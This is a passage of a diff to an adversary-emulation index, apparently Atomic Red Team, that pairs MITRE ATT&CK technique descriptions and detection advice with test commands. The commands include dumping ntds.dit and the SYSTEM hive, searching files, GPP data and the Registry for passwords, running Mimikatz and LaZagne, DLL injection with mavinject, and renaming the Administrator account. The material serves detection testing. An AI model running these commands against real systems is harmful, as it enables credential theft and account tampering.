#{extract_path}\ntds.dit - copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE - reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE - - name: GPP Passwords (findstr) - description: 'Look for the encrypted cpassword value within Group Policy Preference - files on the Domain Controller. This value can be decrypted with gpp-decrypt - on Kali Linux. + netstat + net use + net sessions + - name: System Network Connections Discovery with PowerShell + description: 'Get a listing of network connections. ' supported_platforms: - windows executor: - name: command_prompt + name: powershell elevation_required: false - command: 'findstr /S cpassword %logonserver%\sysvol\*.xml + command: 'Get-NetTCPConnection ' - - name: GPP Passwords (Get-GPPPassword) - description: 'Look for the encrypted cpassword value within Group Policy Preference - files on the Domain Controller. + - name: System Network Connections Discovery Linux & MacOS + description: 'Get a listing of network connections. ' supported_platforms: - - windows - input_arguments: - gpp_script_path: - description: Path to the Get-GPPPassword PowerShell Script - type: Path - default: "$PathToAtomicsFolder\\T1003\\src\\Get-GPPPassword.ps1" + - linux + - macos executor: - name: powershell + name: sh elevation_required: false command: | - . #{gpp_script_path} - Get-GPPPassword -Verbose - T1081: + netstat + who -a + T1033: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1081 - source_name: mitre-attack - external_id: T1081 - - url: https://capec.mitre.org/data/definitions/545.html - source_name: capec - external_id: CAPEC-545 - - url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html - source_name: CG 2014 - description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part - 1. Retrieved November 12, 2014. - - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx - source_name: SRD GPP - description: 'Security Research and Defense. (2014, May 13). MS14-025: An - Update for Group Policy Preferences. Retrieved January 28, 2015.' + x_mitre_permissions_required: + - User + - Administrator x_mitre_data_sources: - File monitoring + - Process monitoring - Process command-line parameters - x_mitre_system_requirements: - - Access to files - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'While detecting adversaries accessing these files may be - difficult without knowing they exist in the first place, it may be possible - to detect adversary use of credentials they have obtained. Monitor the command-line - arguments of executing processes for suspicious words or regular expressions - that may indicate searching for a password (for example: password, pwd, login, - secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) - for more information.' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: System Owner/User Discovery + description: |- + ### Windows + + Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + + ### Mac + + On Mac, the currently logged in user can be identified with users,w, and who. + + ### Linux + + On Linux, the currently logged in user can be identified with w and who. + id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c - name: Credentials in Files - created: '2017-05-31T21:31:02.188Z' - x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: |- - Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1081 + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:35.733Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1033 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1033 + - source_name: capec + external_id: CAPEC-577 + url: https://capec.mitre.org/data/definitions/577.html + modified: '2019-08-12T19:47:54.288Z' + identifier: T1033 atomic_tests: - - name: Extract Browser and System credentials with LaZagne - description: "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n" - supported_platforms: - - macos - executor: - name: sh - command: 'python2 laZagne.py all + - name: System Owner/User Discovery + description: 'Identify System owner or users on an endpoint ' - - name: Extract passwords with grep - description: 'Extracting credentials from files + supported_platforms: + - windows + input_arguments: + computer_name: + description: Name of remote computer + type: string + default: computer1 + executor: + name: command_prompt + elevation_required: false + command: | + cmd.exe /C whoami + wmic useraccount get /ALL + quser /SERVER:"#{computer_name}" + quser + qwinsta.exe" /server:#{computer_name} + qwinsta.exe + for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt + @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt + - name: System Owner/User Discovery + description: 'Identify System owner or users on an endpoint ' - input_arguments: - file_path: - description: Path to search - type: String - default: "/" supported_platforms: - - macos - linux + - macos executor: name: sh - command: 'grep -ri password #{file_path} + elevation_required: false + command: | + users + w + who + T1007: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: System Service Discovery + description: Adversaries may try to get information about registered services. + Commands that may obtain information about services using operating system + utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), + and "net start" using [Net](https://attack.mitre.org/software/S0039), but + adversaries may also use other tools as well. Adversaries may use the information + from [System Service Discovery](https://attack.mitre.org/techniques/T1007) + during automated discovery to shape follow-on behaviors, including whether + or not the adversary fully infects the target and/or attempts specific actions. + id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -' - - name: Runs Mimikatz & Mimikittenz by name - description: 'Mimikatz/kittenz - This will require a Mimikatz executable or - invoke-mimikittenz ps module. + Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:21.315Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1007 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1007 + - source_name: capec + external_id: CAPEC-574 + url: https://capec.mitre.org/data/definitions/574.html + modified: '2019-08-12T19:54:54.167Z' + identifier: T1007 + atomic_tests: + - name: System Service Discovery + description: 'Identify system services ' supported_platforms: - windows + input_arguments: + service_name: + description: Name of service to start stop, query + type: string + default: svchost.exe executor: - name: powershell + name: command_prompt elevation_required: true command: | - invoke-mimikittenz - mimikatz.exe - - name: Extracting passwords with findstr - description: 'Extracting Credentials from Files + tasklist.exe + sc query + sc query state= all + sc start #{service_name} + sc stop #{service_name} + wmic service where (displayname like "#{service_name}") get name + - name: System Service Discovery - net.exe + description: 'Enumerates started system services using net.exe and writes them + to a file. This technique has been used by multiple threat actors. ' supported_platforms: - windows + input_arguments: + output_file: + description: Path of file to hold net.exe output + type: Path + default: C:\Windows\Temp\service-list.txt executor: - name: powershell + name: command_prompt elevation_required: false - command: | - findstr /si pass *.xml | *.doc | *.txt | *.xls - ls -R | select-string -Pattern password - - name: Access "unattend.xml" - description: 'Attempts to access unattend.xml, where credentials are commonly - stored, within the Panther directory where installation logs are stored. + command: 'net.exe start >> #{output_file} ' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: true - command: | - cmd /c type C:\Windows\Panther\unattend.xml > nul 2>&1 - cmd /c type C:\Windows\Panther\Unattend\unattend.xml > nul 2>&1 - T1214: + T1124: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1214 - source_name: mitre-attack - external_id: T1214 - - url: https://pentestlab.blog/2017/04/19/stored-credentials/ - source_name: Pentestlab Stored Credentials - description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April - 6, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Sudhanshu Chauhan, @Sudhanshu_C - x_mitre_permissions_required: - - User - - Administrator x_mitre_data_sources: - - Windows Registry - - Process command-line parameters - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor processes for applications that can be used to query - the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and - collect command parameters that may indicate credentials are being searched. - Correlate activity with related suspicious behavior that may indicate an active - intrusion to reduce false positives. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + - API monitoring + x_mitre_permissions_required: + - User + name: System Time Discovery + description: |- + The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) + + An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. + id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077 x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286 - name: Credentials in Registry - created: '2018-04-18T17:59:24.739Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. - - Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) - - * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s - * Current User Hive: reg query HKCU /f password /t REG_SZ /s - x_mitre_system_requirements: - - Ability to query some Registry locations depends on the adversary's level - of access. User permissions are usually limited to access of user-related - Registry keys. - identifier: T1214 + x_mitre_detection: Command-line interface monitoring may be useful to detect + instances of net.exe or other command-line utilities being used to gather + system time or time zone. Methods of detecting API use for gathering this + information are likely less useful due to how often they may be used by legitimate + software. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:37.450Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1124 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1124 + - source_name: capec + external_id: CAPEC-295 + url: https://capec.mitre.org/data/definitions/295.html + - source_name: MSDN System Time + description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. + url: https://msdn.microsoft.com/ms724961.aspx + - source_name: Technet Windows Time Service + description: Mathers, B. (2016, September 30). Windows Time Service Tools + and Settings. Retrieved November 25, 2016. + url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings + - source_name: RSA EU12 They're Inside + description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved + November 25, 2016. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf + modified: '2019-06-18T14:07:20.239Z' + identifier: T1124 atomic_tests: - - name: Enumeration for Credentials in Registry - description: 'Queries to enumerate for credentials in the Registry. + - name: System Time Discovery + description: 'Identify the system time ' supported_platforms: - windows + input_arguments: + computer_name: + description: computer name to query + type: string + default: computer1 executor: name: command_prompt elevation_required: false command: | - reg query HKLM /f password /t REG_SZ /s - reg query HKCU /f password /t REG_SZ /s - '': - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1111 - source_name: mitre-attack - external_id: T1111 - - url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf - source_name: Mandiant M Trends 2011 - description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved - January 10, 2016. - - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf - source_name: Operation Emmental - description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding - Holes Operation Emmental. Retrieved February 9, 2016. - - url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx - source_name: GCN RSA June 2011 - description: Jackson, William. (2011, June 7). RSA confirms its tokens used - in Lockheed hack. Retrieved September 24, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center + net time \\#{computer_name} + w32tm /tz + - name: System Time Discovery - PowerShell + description: 'Identify the system time via PowerShell + +' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: 'Get-Date + +' +credential-access: + T1098: + technique: x_mitre_permissions_required: - Administrator - - SYSTEM x_mitre_data_sources: + - Authentication logs - API monitoring - - Process monitoring - - Kernel drivers - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. - - Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 - name: Two-Factor Authentication Interception - created: '2017-05-31T21:31:23.195Z' - x_mitre_version: '1.0' - type: attack-pattern + - Windows event logs + - Packet capture + name: Account Manipulation description: |- - Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources. + Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. - If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) + ### Exchange Email Account Takeover - Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) + The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) - Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) - x_mitre_system_requirements: - - |- - Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted. + ### Azure AD - Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code. + In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death) - Hardware token: Access to the seed and algorithm of generating one-time codes. - atomic_tests: [] - T1179: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1179 - source_name: mitre-attack - external_id: T1179 - - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - source_name: Microsoft Hook Overview - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - source_name: Adlice Software IAT Hooks Oct 2014 - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. - Retrieved December 12, 2017.' - - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - source_name: MWRInfoSecurity Dynamic Hooking 2015 - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User - Mode. Retrieved December 20, 2017.' - - url: https://www.exploit-db.com/docs/17802.pdf - source_name: HighTech Bridge Inline Hooking Sept 2011 - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved - December 12, 2017. - - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. - Retrieved December 18, 2017. - - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - source_name: Symantec Windows Rootkits - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December - 21, 2017. - - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - source_name: Volatility Detecting Hooks Sept 2012 - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware - Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. - - url: https://github.com/prekageo/winhook - source_name: PreKageo Winhook Jul 2011 - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - - url: https://github.com/jay/gethooks - source_name: Jay GetHooks Sept 2011 - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - source_name: Zairon Hooking Dec 2006 - description: Felici, M. (2006, December 6). Any application-defined hook procedure - on my machine?. Retrieved December 12, 2017. - - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - source_name: EyeofRa Detecting Hooking June 2017 - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - - url: http://www.gmer.net/ - source_name: GMER Rootkits - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - source_name: Microsoft Process Snapshot - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis - source_name: StackExchange Hooks Jul 2012 - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. + ### AWS + + AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing) + id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 + x_mitre_platforms: + - Windows + - Office 365 + - Azure + - GCP + - Azure AD + - AWS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - API monitoring - - Binary file metadata - - DLL monitoring - - Loaded DLLs - - Process monitoring - - Windows event logs - modified: '2019-04-03T15:02:18.662Z' + x_mitre_version: '2.0' + x_mitre_system_requirements: + - 'Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission + PowerShell cmdlet (depending on parameters used, may require more permission)' + type: attack-pattern x_mitre_detection: |- - Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) + - Praetorian + - Tim MalcomVetter + created: '2017-05-31T21:31:12.196Z' kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 - name: Hooking - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Windows processes often leverage application programming interface - (API) functions to perform tasks that require reusable system resources. Windows - API functions are typically stored in dynamic-link libraries (DLLs) as exported - functions. \n\nHooking involves redirecting calls to these functions and can - be implemented via:\n\n* **Hooks procedures**, which intercept and execute - designated code in response to events such as messages, keystrokes, and mouse - inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection - July 2017)\n* **Import address table (IAT) hooking**, which use modifications - to a process’s IAT, where pointers to imported API functions are stored. (Citation: - Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks - Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, - which overwrites the first bytes in an API function to redirect code flow. - (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge - Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar - to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries - may use hooking to load and execute malicious code within the context of another - process, masking the execution while also allowing access to the process's - memory and possibly elevated privileges. Installing hooking mechanisms may - also provide Persistence via continuous invocation when the functions are - called through normal use.\n\nMalicious hooking mechanisms may also capture - API calls that include parameters that reveal user authentication credentials - for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept - 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s - to conceal files, processes, Registry keys, and other objects in order to - hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1179 + - kill_chain_name: mitre-attack + phase_name: credential-access + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1098 + url: https://attack.mitre.org/techniques/T1098 + - description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September + 13, 2019. + source_name: Microsoft - Add-MailboxPermission + url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps + - description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending + O365. Retrieved September 13, 2019.' + source_name: Bienstock, D. - Defending O365 - 2019 + url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 + - description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming + Azure. Retrieved October 23, 2019.' + source_name: Blue Cloud of Death + url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 + - description: Piper, Scott. (2019, April 3). Advanced AWS policy auditing - + Confused deputies with AWS services. Retrieved October 23, 2019. + source_name: Summit Route Advanced AWS policy auditing + url: https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/ + - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account + was changed. Retrieved June 30, 2017.' + source_name: Microsoft User Modified Event + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 + - source_name: InsiderThreat ChangeNTLM July 2017 + description: Warren, J. (2017, July 11). Manipulating User Passwords with + Mimikatz. Retrieved December 4, 2017. + url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + - source_name: GitHub Mimikatz Issue 92 June 2017 + description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm + work, but generate Windows events #92. Retrieved December 4, 2017.' + url: https://github.com/gentilkiwi/mimikatz/issues/92 + modified: '2019-10-23T14:49:39.188Z' + identifier: T1098 atomic_tests: - - name: Hook PowerShell TLS Encrypt/Decrypt Messages - description: 'Hooks functions in PowerShell to read TLS Communications + - name: Admin Account Manipulate + description: 'Manipulate Admin Account Name ' supported_platforms: - windows - input_arguments: - file_name: - description: Dll To Inject - type: Path - default: C:\AtomicRedTeam\atomics\T1179\bin\T1179x64.dll - server_name: - description: TLS Server To Test Get Request - type: Url - default: https://www.example.com executor: name: powershell elevation_required: true command: | - mavinject $pid /INJECTRUNNING #{file_name} - curl #{server_name} - T1056: + $x = Get-Random -Minimum 2 -Maximum 9999 + $y = Get-Random -Minimum 2 -Maximum 9999 + $z = Get-Random -Minimum 2 -Maximum 9999 + $w = Get-Random -Minimum 2 -Maximum 9999 + Write-Host HaHaHa_$x$y$z$w + + $hostname = (Get-CIMInstance CIM_ComputerSystem).Name + + $fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name + + foreach($member in $fmm) { + if($member -like "*Administrator*") { + Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w" + Write-Host "Successfully Renamed Administrator Account on" $hostname + } + } + T1139: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1056 - source_name: mitre-attack - external_id: T1056 - - url: https://capec.mitre.org/data/definitions/569.html - source_name: capec - external_id: CAPEC-569 - - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf - source_name: Adventures of a Keystroke - description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth - look into keyloggers on Windows. Retrieved April 27, 2016.' - - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ - source_name: Volexity Virtual Private Keylogging - description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco - Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' - - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ - source_name: Wrightson 2012 - description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS - AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. - object_marking_refs: - - 